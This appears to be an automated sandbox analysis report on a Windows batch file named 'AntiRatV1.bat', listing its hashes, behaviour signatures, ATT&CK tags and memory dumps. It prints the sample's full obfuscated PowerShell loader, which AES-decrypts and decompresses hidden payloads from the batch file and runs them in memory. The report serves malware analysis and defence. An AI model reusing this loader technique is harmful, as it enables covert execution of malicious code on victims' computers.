0c55bb4d572eb35093da11086643bcf6c04a1b7653de40e5e289df61b96f0c16

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
28/09/2024, 13:40

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General

Target

AntiRatV1.bat
Size

10.5MB
MD5

ea1315beaae801fd48de7f359a6f9411
SHA1

a565aee47aa42bd87dafea38d6090447df6d822c
SHA256

0c55bb4d572eb35093da11086643bcf6c04a1b7653de40e5e289df61b96f0c16
SHA512

1616cad5cff6a75306db6479f98df4bf78084c0596983a9e46cedffed447ab0028a839604d3dd931603e535e455b52688a942e98582ba1751d1d13611ffbe00f
SSDEEP

49152:RCRYnt0My3KYMfNIBZ9pCm4+DwXGPOXFTqKZp239XT48jmRjrd7dU52F65QV9Qp2:9

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2692	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1792 wrote to memory of 2692	1792	cmd.exe	31
PID 1792 wrote to memory of 2692	1792	cmd.exe	31
PID 1792 wrote to memory of 2692	1792	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\AntiRatV1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0dtIkrFE6oNEPpxGwNC90NeqI8xHQE5kI3kv5xoh2sg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fp0pgBxNQH3MU7vN1DWl2g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jeCvp=New-Object System.IO.MemoryStream(,$param_var); $uxoVp=New-Object System.IO.MemoryStream; $BPDJh=New-Object System.IO.Compression.GZipStream($jeCvp, [IO.Compression.CompressionMode]::Decompress); $BPDJh.CopyTo($uxoVp); $BPDJh.Dispose(); $jeCvp.Dispose(); $uxoVp.Dispose(); $uxoVp.ToArray();}function execute_function($param_var,$param2_var){ $jNWGO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QnOct=$jNWGO.EntryPoint; $QnOct.Invoke($null, $param2_var);}$zkWSq = 'C:\Users\Admin\AppData\Local\Temp\AntiRatV1.bat';$host.UI.RawUI.WindowTitle = $zkWSq;$wWXvv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zkWSq).Split([Environment]::NewLine);foreach ($QqnyZ in $wWXvv) { if ($QqnyZ.StartsWith(':: ')) { $OxnGt=$QqnyZ.Substring(3); break; }}$payloads_var=[string[]]$OxnGt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2692-4-0x000007FEF5F0E000-0x000007FEF5F0F000-memory.dmp

Filesize
4KB

Download
memory/2692-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2692-5-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/2692-7-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2692-8-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2692-9-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2692-10-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2692-11-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download
memory/2692-12-0x000007FEF5C50000-0x000007FEF65ED000-memory.dmp

Filesize
9.6MB

Download